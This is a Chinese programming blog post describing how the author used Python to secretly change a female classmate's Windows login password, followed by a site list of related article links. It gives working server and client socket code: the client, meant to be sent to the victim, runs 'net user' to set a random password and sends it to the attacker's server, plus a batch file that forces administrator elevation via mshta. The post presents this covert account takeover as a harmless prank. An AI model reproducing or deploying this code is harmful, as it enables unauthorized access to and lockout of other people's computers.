Python还能这么玩之用Python修改了班花的开机密码


Posted in Python onJune 04, 2021

一、前言

Python还能这么玩之用Python修改了班花的开机密码

班花加我说她电话坏了让我看看,那肯定义不容辞!【兴奋了半个小时】没别的我就想秀一下技术!五分钟后我修好了,电脑重启之后显示输入密码,当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢,说干就干。

Python还能这么玩之用Python修改了班花的开机密码

二、工具准备

开发环境:win10、python3.7
开发工具:pycharm

三、项目思路解析

一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有女朋)

Python还能这么玩之用Python修改了班花的开机密码

该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)

首先正常流程创建服务端的服务

服务端流程:

  • 创建套接字
  • -绑定ip和端口
  • -设置监听
  • -等待链接
  • -接受数据打印数据
  • -关闭链接
import socket  # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444))  # 绑定IP/端口
server.listen(5)  # 监听
print('***********等待连接*********')
conn, addr = server.accept()  # 连接
print(conn) 
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()

windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)

Python还能这么玩之用Python修改了班花的开机密码

客户端流程:

  • 创建套接字
  • -连接服务端的IP和端口
  • -获取当前使用的电脑账户名
  • -生成随机的电脑密码
  • -在终端执行修改Windows密码的指令
  • -发送修改之后的密码
  • -关闭套接字
import socket  # 导入用到的模块
import getpass
import subprocess
import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser()  # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
    m = str(random.randrange(0, 10))
    psd = psd + m

subprocess.Popen(['net', 'User', user, psd])  # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8'))  # 将密码发送给server端
back_msg = client.recv(1024)
client.close()  # 关闭socket

到这一步基本就可以自己去尝试了,但是要注意,当前代码只能修改权限是admin的账户。

Python还能这么玩之用Python修改了班花的开机密码

非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py

四、小结

最后我修改密码成功登陆,竟然发现了她的密码!

Python还能这么玩之用Python修改了班花的开机密码

这铁憨憨C盘满了都不知道清理,一看就是不太懂电脑的亚子!班花那么好看竟然不太懂电脑,真是惊人的发现哩!

PS:最后我啥都没动改回去了!

到此这篇关于Python还能这么玩之用Python修改了班花的开机密码的文章就介绍到这了,更多相关Python修改密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
用Python将动态GIF图片倒放播放的方法
Nov 02 Python
轻松实现TensorFlow微信跳一跳的AI
Jan 05 Python
使用python批量化音乐文件格式转换的实例
Jan 09 Python
Python3.5内置模块之time与datetime模块用法实例分析
Apr 27 Python
anaconda中更改python版本的方法步骤
Jul 14 Python
Django上线部署之IIS的配置方法
Aug 22 Python
浅谈Python3实现两个矩形的交并比(IoU)
Jan 18 Python
Python datetime 格式化 明天,昨天实例
Mar 02 Python
django列表筛选功能的实现代码
Mar 27 Python
PyTorch中的拷贝与就地操作详解
Dec 09 Python
基于Python编写简易版的天天跑酷游戏的示例代码
Mar 23 Python
Python如何使用循环结构和分支结构
Apr 13 Python
Anaconda安装pytorch及配置PyCharm 2021环境
python如何利用cv2模块读取显示保存图片
Jun 04 #Python
Python实现socket库网络通信套接字
Jun 04 #Python
python cv2图像质量压缩的算法示例
Jun 04 #Python
高考要来啦!用Python爬取历年高考数据并分析
单身狗福利?Python爬取某婚恋网征婚数据
告别网页搜索!教你用python实现一款属于自己的翻译词典软件
You might like
PHP根据传来的16进制颜色代码自动改变背景颜色
2014/06/13 PHP
js+CSS 图片等比缩小并垂直居中实现代码
2008/12/01 Javascript
层序遍历在ExtJs的TreePanel中的应用
2009/10/16 Javascript
JQuery控制radio选中和不选中方法总结
2015/04/15 Javascript
js实现使用鼠标拖拽切换图片的方法
2015/05/04 Javascript
Easyui 之 Treegrid 笔记
2016/04/29 Javascript
vue复合组件实现注册表单功能
2017/11/06 Javascript
Node之简单的前后端交互(实例讲解)
2017/11/14 Javascript
浅谈HTTP 缓存的那些事儿
2018/10/17 Javascript
JavaScript中concat复制数组方法浅析
2019/01/20 Javascript
vue使用微信扫一扫功能的实现代码
2020/04/11 Javascript
prettier自动格式化去换行的实现代码
2020/08/25 Javascript
浅谈vue.watch的触发条件是什么
2020/11/07 Javascript
详解基于element的区间选择组件校验(交易金额)
2021/01/07 Javascript
python简单实现旋转图片的方法
2015/05/30 Python
python if not in 多条件判断代码
2016/09/21 Python
python爬虫正则表达式之处理换行符
2018/06/08 Python
解决python3.5 正常安装 却不能直接使用Tkinter包的问题
2019/02/22 Python
Python迷宫生成和迷宫破解算法实例
2019/12/24 Python
Python PyQt5运行程序把输出信息展示到GUI图形界面上
2020/04/27 Python
pyMySQL SQL语句传参问题,单个参数或多个参数说明
2020/06/06 Python
python分布式爬虫中消息队列知识点详解
2020/11/26 Python
快速解决pymongo操作mongodb的时区问题
2020/12/05 Python
详解CSS3选择器:nth-child和:nth-of-type之间的差异
2017/09/18 HTML / CSS
雅诗兰黛香港官网:Estee Lauder香港
2017/09/26 全球购物
高中毕业自我鉴定
2013/12/13 职场文书
升国旗仪式主持词
2014/03/19 职场文书
大学生入党推荐书范文
2014/05/17 职场文书
疾病防治方案
2014/05/31 职场文书
会计师事务所实习证明
2014/11/16 职场文书
学生保证书
2015/01/16 职场文书
2015年幼儿园班务工作总结
2015/05/12 职场文书
教师个人教学反思
2016/02/23 职场文书
创业计划书之川味火锅店
2019/09/02 职场文书
一文弄懂MySQL中redo log与binlog的区别
2022/02/15 MySQL
Mysql查询时间区间日期列表,不会由于数据表数据影响
2022/04/19 MySQL